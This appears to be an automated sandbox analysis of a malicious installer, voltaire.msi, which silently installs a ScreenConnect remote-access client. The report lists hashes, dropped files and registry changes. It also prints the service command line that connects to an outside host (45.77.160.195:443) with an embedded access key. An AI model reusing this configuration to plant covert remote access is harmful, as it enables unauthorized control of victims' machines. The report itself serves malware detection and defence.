Analysis
-
max time kernel
1605s -
max time network
1805s -
platform
windows10-1703_x64 -
resource
win10-20240221-en -
resource tags
arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system -
submitted
25-03-2024 23:07
Static task
static1
Behavioral task
behavioral1
Sample
voltaire.msi
Resource
win10-20240221-en
windows10-1703-x64
18 signatures
1800 seconds
Behavioral task
behavioral2
Sample
voltaire.msi
Resource
win10v2004-20240226-en
windows10-2004-x64
18 signatures
1800 seconds
Behavioral task
behavioral3
Sample
voltaire.msi
Resource
win11-20240221-en
windows11-21h2-x64
18 signatures
1800 seconds
General
-
Target
voltaire.msi
-
Size
8.9MB
-
MD5
8d35f3ca2e59b85c8c8caed123a4f6cd
-
SHA1
54ee7e40bab670bc2fdc5dbd7787d705d643b0f9
-
SHA256
8ef318fa5dba85344f79f7e4a7b022d09d99bbd36d5e8aa5353018c867e85b2c
-
SHA512
192ed0a8536356af37d2ec9e9597bef3befa3d0911bea214702ed1dd761b761bc54204a409618ce4e51fbbaf256f97f73fbbc139e729a64412db930413a8d025
-
SSDEEP
98304:WOPvLtabi4X0MV+dYdcGt7VIb4JOPvLtabi4X0MV+dYdOOPvLtabi4X0MV+dYd+X:Wws3V+arws3V+xws3V+dws3V+6ws3V+
Score
8/10
Malware Config
Signatures
-
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (6c9c2b0db070ede3)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (6c9c2b0db070ede3)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=45.77.160.195&p=443&s=8ff09da5-5ca2-4ad2-97d2-33599d505e76&k=BgIAAACkAABSU0ExAAgAAAEAAQBVCWTmLE33JcPLjJezBrwOkI%2b8ZLWJbkfPUj4mui8bB5aA3FfDWdE9pv45IhOy%2fBuonb5uY75AfdUpovFKH%2fT5By3gQjBf88HWFgEN4iYik1B0e0et7Wc3hyBM431MAKUyIkltdyvKpZKW64L6nfS5pt97i3Yfvb8341CVuyHBwTCtb68JStzGeeJIVNMcVnasP11V204VVtDpkTbD2skXmonez4hN3YcdzNCQuj%2bBlDFuy4wTUA7kSe%2buX%2bV5cNkyWYPRaewb%2bDhQnlYr9ytCGLjTmzjKLeHWBKAEpEapOzJiFHMMa4XISQtJmK5t%2bfxXYWUuhnCDHnlSoipWL5Sg&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA2DfS4eQeYkGo5PqCu6n%2bfwAAAAACAAAAAAAQZgAAAAEAACAAAABXL3CRe5tugDDz9USJ5h1ODokY4CYB3vZnjRkZ7BG6KgAAAAAOgAAAAAIAACAAAACIqUvcCme%2f5u4C1OVmF%2fMF3s6Jy1mfluI27nwPoobWzKAEAABnrLvB9P3L19M17HM441cIKA7XllJCqGb5FhgExdcMHTdIAOiXP6usPGA%2fNx4Dt9h3RHQaacbMVOoOseOefd8fmtqK7iKfuLPdFJ26x21gDgaQsOlAjCruv0ZwDzYIjB7f08GEOpY%2bHrV98eWpUAymhpWmmAPrQwh%2fIhzRr3RJ0eygaVlhELb%2fTvWsuRuOvvCSmK%2f%2fYdn%2b3QuK6nPuITtsPlPR0GOFtJVPLwGhXY8blj9qrJAAiK4LuImPFxm1cL%2fLGdZlr1QHHBHW8r9f2S3GgFrJT0aM%2fY%2fAq0FctS54kGjTU0J8W6J8lCn8XEPB1bO4nclKDAV2QzdzDuyTBcJhyEfUjw8a%2bCsKkjBgwnkX%2bkM8yakuu7eMsmPBO579TjpJW0eYBhpIIkZzXtn9weinJd8APauG2qgokPe2t91iRL4tZuN%2b9h7xuE56Jp5ZmaiiK90RxvpFupSFVSCE6Tryw0nvYsiDlHp4DyYwTkcLJCozQ1gAD4CaMTQth97xf6IpvvXujMHIPm8AnY9%2feEy%2bgO94ZVLrSfyZOVg%2bldAwZZvvFf%2b%2b7bR%2fMkszjGZ9rm3knCANwZtspZePEdST5XZq%2fHtNESehf1yC89t3erY793%2fKSOhaYRt8AYU3UmfUtVWUPORXynBWjK2pWLqAnETEeySdVgQybsRe8LTMYONkR5hqy157NJ5G0hTqqtky5411DD4Pp571mfUqvWZPl8QJ268qFFR6FPy3%2fNwiecJZ21UWpJOOta1LMQyf5qqKd2wUs%2fd9ow%2flrCBt8kfe9XyzxHddS217SdNsw5b1MT8H0cGGJ3FgPwiGvgorIfoTbC8HOqbjwf5XJVy5%2bCE7dt8bI2GHSdQglLZKDcuJO%2bqPkIfSf2r4AmVDmVKHGMvS4EUhxLoMhlUrj4FPvPaytGVu%2b%2fukBilCgSLVGO6YQQtXS3Ll6ZTiP2OEzfHyaGlyZJrkFFAroMo7A2Tck2gx5dH6ZkwOByOG8ukv2v2G3jDXLVG3qJwmdTXGkA%2bPTbuAj3otVIgQWA6bkTheF1%2bw0qpV8CsoDGGBkINpxnoSzOjrrUD7g6mzJcl1f0M%2fec1lqQAA2r14efc3fROLpIgx0UYtfYg4djUSbl5gv3PtLV5j7pwmc0aML2zDzgukpTEmUEwW7voGGuye1I8T%2fP0VkgqMhLsTCMKI%2bknTEnZENDkYI6kCqkmdQmRJHipICWrNuGVXlBMMcVdNt3yXi1dkEZ9GBRxF6CV01O41887FJNeWEoaXsUmqVkVLMmRB0iiSEKebyq7wdchrLjfZJVkwpOgj%2fA%2fbDRnztAiEk0R9z7qfohPgNM64mOQURzMIXFoDK2%2fdISd43LSuP8qvFxCpJ%2fLMzN3%2b1Q3GwsW9aB%2bbm%2fW7T5sk1ahZfsAIV8mx74V%2bCRGQGrrBamyqKYP1e%2fq7yffbCB6f%2bNwOI0Zv%2b4FCtSU9z3ksbWkJMhkf1X19kyK8NrJh5LIINxn3k1krOXHix35JOSWgOg05xLJYuh%2bN9%2fdl%2bzkM0wENYqsN%2bcRDHNtm8sfSpM3JI7o74cF39R6Z1D%2bmaZfP67nAzOby3PmEVD0H40AAAAARI4Y0LoQV743kG3NLzeOIdNOprsQzNyOp5Cx6tq9i3TO6mCg2Wj68oaRTMuSWvTlRRcLliL%2f5mgHjne84kVnZ\"" ScreenConnect.ClientService.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6c9c2b0db070ede3)\yj2fsp02.newcfg ScreenConnect.ClientService.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log ScreenConnect.WindowsClient.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6c9c2b0db070ede3)\yj2fsp02.tmp ScreenConnect.ClientService.exe -
Drops file in Program Files directory 16 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\app.config msiexec.exe -
Drops file in Windows directory 13 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIE0FB.tmp msiexec.exe File created C:\Windows\Installer\e57df56.msi msiexec.exe File created C:\Windows\Installer\e57df54.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\{EEB1DF42-5315-6826-C75B-4400390FF098}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\{EEB1DF42-5315-6826-C75B-4400390FF098}\DefaultIcon msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIE31F.tmp msiexec.exe File opened for modification C:\Windows\Installer\e57df54.msi msiexec.exe File created C:\Windows\Installer\SourceHash{EEB1DF42-5315-6826-C75B-4400390FF098} msiexec.exe File opened for modification C:\Windows\Installer\MSIE0EA.tmp msiexec.exe File created C:\Windows\Installer\wix{EEB1DF42-5315-6826-C75B-4400390FF098}.SchedServiceConfig.rmi MsiExec.exe -
Executes dropped EXE 4 IoCs
pid Process 900 ScreenConnect.ClientService.exe 2604 ScreenConnect.WindowsClient.exe 1072 ScreenConnect.WindowsClient.exe 2100 ScreenConnect.WindowsClient.exe -
Loads dropped DLL 20 IoCs
pid Process 4704 MsiExec.exe 4008 rundll32.exe 4008 rundll32.exe 4008 rundll32.exe 4008 rundll32.exe 4008 rundll32.exe 4008 rundll32.exe 4008 rundll32.exe 3544 MsiExec.exe 3092 MsiExec.exe 900 ScreenConnect.ClientService.exe 900 ScreenConnect.ClientService.exe 900 ScreenConnect.ClientService.exe 900 ScreenConnect.ClientService.exe 900 ScreenConnect.ClientService.exe 900 ScreenConnect.ClientService.exe 900 ScreenConnect.ClientService.exe 900 ScreenConnect.ClientService.exe 900 ScreenConnect.ClientService.exe 900 ScreenConnect.ClientService.exe -
Registers COM server for autorun 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-65B1-DCDB7C7B7273}\InprocServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-65B1-DCDB7C7B7273}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (6c9c2b0db070ede3)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-65B1-DCDB7C7B7273}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe -
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004E svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Mfg svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\DeviceDesc svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\HardwareID svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004C svchost.exe -
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe -
Modifies data under HKEY_USERS 20 IoCs
